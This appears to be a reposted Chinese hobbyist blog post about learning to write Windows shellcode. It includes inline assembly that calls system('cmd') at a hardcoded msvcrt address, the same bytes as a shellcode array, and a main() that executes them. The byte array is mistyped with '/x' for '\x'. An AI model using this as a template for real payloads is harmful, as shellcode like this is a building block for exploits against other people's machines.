3个月的SHELLCODE研究成果-一个最简单的Shellcode
堅持到底,永不放棄。我終于寫了個小小的SHELLCODE啦。
就拿這個星期來說,我日思夜想,為什么我總寫不出可以正確執行的SHELLCODE呢,非常郁悶,也整天板著臉想問題,差點嚇著小MM同事了。
我本來ASSEMBLY基礎不是很好,只懂得可憐的幾個INSTRUCTIONS,寫SHELLCODE時碰到了很多不認識的Instructions。還要上網差資料,有時真的是一頭霧水。
我看了很多前輩寫的SHELLCODE,也測試過,結果也是有的可以成功通過測試,有的不能。
我對這類SHELLCODE的問題很感興趣,每天除了工作,就是研究怎么寫SHELLCODE了。不懂就查,就問,GOOGLE不行,就BAIDU,BAIDU不行就YAHOO。
我幾乎想從頭開始學ASSEMBLY,但好像SHELLCODE的常用指令就那幾個啦,像PUSH,MOV,SUB,ADD,INC,DEC,CALL,JMP,JE......
這些都比較好理解。于是我還是把精力集中在SHELLCODE的執行流程上。
先是反匯編一個簡單的函數,然后是用指令寫些簡單的函數,由于ASSEMBLY基礎差,碰到很多很尖的釘子,給我的打擊不小,有是我會痛苦的問:“天啊,這樣的事總發生在我身上。”但事實上,是自己基礎差嘛。
付出是有回報的,只是時間問題。經過有多精彩可能要寫幾GB也寫不完啦。
還是把研究成果和大家分享一下,本人什么也不懂,經常出錯,望高手提出批評。感激不盡。歡迎交流 QQ:250947302
#include <stdio.h>
#include <windows.h>
void __declspec(naked)aaa(void)
{
?__asm{
??_emit 0x90
??_emit 0x90
??_emit 0x90
??_emit 0x90
??_emit 0x90
??_emit 0x90
??_emit 0x90
??_emit 0x90
??push ebp
??mov ebp, esp
??sub esp, 08h
?}
?__asm
?{
??xor ecx, ecx
??mov byte ptr[ebp-08h], 'c'
??mov byte ptr[ebp-07h], 'm'
??mov byte ptr[ebp-06h], 'd'
??mov byte ptr[ebp-05h], cl
??lea eax, [ebp-08h]
??push eax
??mov edx, 77bf93c7h ;這是system函數的地址
??call edx
??pop eax
?}
?__asm
?{
??mov esp, ebp
??pop ebp
??ret
??_emit 0x90
??_emit 0x90
??_emit 0x90
??_emit 0x90
??_emit 0x90
??_emit 0x90
??_emit 0x90
??_emit 0x90
?}
}
unsigned char aaaaa[]="/x55/x8B/xEC/x83/xEC/x08/x33/xC9/xC6/x45/xF8"
"/x63/xC6/x45/xF9/x6D/xC6/x45/xFA/x64/x88/x4D"
"/xFB/x8D/x45/xF8/x50/xBA/xC7/x93/xBF/x77/xFF"
"/xD2/x58/x8B/xE5/x5D/xC3";
void main()
{
?char *saa;
?HMODULE h=LoadLibrary("msvcrt.dll");
?((void(*)(void))aaaaa)();
}
//
unsigned char aaaaa[]="/x55/x8B/xEC/x83/xEC/x08/x33/xC9/xC6/x45/xF8"
"/x63/xC6/x45/xF9/x6D/xC6/x45/xFA/x64/x88/x4D"
"/xFB/x8D/x45/xF8/x50/xBA/xC7/x93/xBF/x77/xFF"
"/xD2/x58/x8B/xE5/x5D/xC3";
這段是用OLLYDBG 1.1調試得到的。?
總結
以上是生活随笔為你收集整理的3个月的SHELLCODE研究成果-一个最简单的Shellcode的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: GitHub上传本地代码到仓库[Wind
- 下一篇: 3DSlicer20:GUI Struc